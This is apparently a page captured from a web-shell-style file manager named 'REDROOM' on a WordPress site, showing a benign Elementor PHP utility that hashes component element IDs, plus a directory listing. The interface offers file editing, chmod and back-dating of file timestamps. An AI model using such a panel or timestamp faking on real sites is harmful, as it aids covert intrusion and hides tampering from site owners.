REDROOM
PHP 8.0.30
Path:
Logout
Edit File
Size: 1.77 KB
Close
/home/certprox/template.certproxywizard.com/wp-content/plugins/elementor/modules/components/utils/format-component-elements-id.php
Text
Base64
<?php namespace Elementor\Modules\Components\Utils; use Elementor\Plugin; use Elementor\Modules\AtomicWidgets\Elements\Base\Atomic_Element_Base; use Elementor\Modules\AtomicWidgets\Elements\Base\Atomic_Widget_Base; use Elementor\Modules\AtomicWidgets\Utils\Utils; use Elementor\Modules\AtomicWidgets\PropTypes\Contracts\Prop_Type; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Format_Component_Elements_Id { public static function format( array $elements, array $path ) { return array_map( function( $element ) use ( $path ) { $origin_id = $element['id']; $nesting_path = [ ...$path, $origin_id ]; $element['id'] = self::hash_string( implode( '_', $nesting_path ), 7 ); $element['origin_id'] = $origin_id; $element['elements'] = self::format( $element['elements'], $nesting_path ); return $element; }, $elements ); } /** * This is a copy of the hashString function in ts utils package. * It's important to keep it in synced with the ts implementation * to make component inner elements ids consistent between the editor and the frontend. * * @param string $str - The string to hash. * @param $length - The length of the hash to return, optional. * @return string - The hashed string. */ public static function hash_string( string $str, ?int $length ): string { $hash_basis = 5381; $i = strlen( $str ); while ( $i > 0 ) { --$i; $hash_basis = ( $hash_basis * 33 ) ^ ord( $str[ $i ] ); // Keep hash within 32-bit range to match JavaScript bitwise operations. $hash_basis = $hash_basis & 0xFFFFFFFF; } $result = base_convert( (string) $hash_basis, 10, 36 ); if ( ! isset( $length ) ) { return $result; } $sliced = substr( $result, -$length ); return str_pad( $sliced, $length, '0', STR_PAD_LEFT ); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 2
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
format-component-elements-id.php
1.77 KB
lrw-r--r--
2026-06-08 13:39:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
parsing-utils.php
1.68 KB
lrw-r--r--
2026-06-08 13:39:14
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).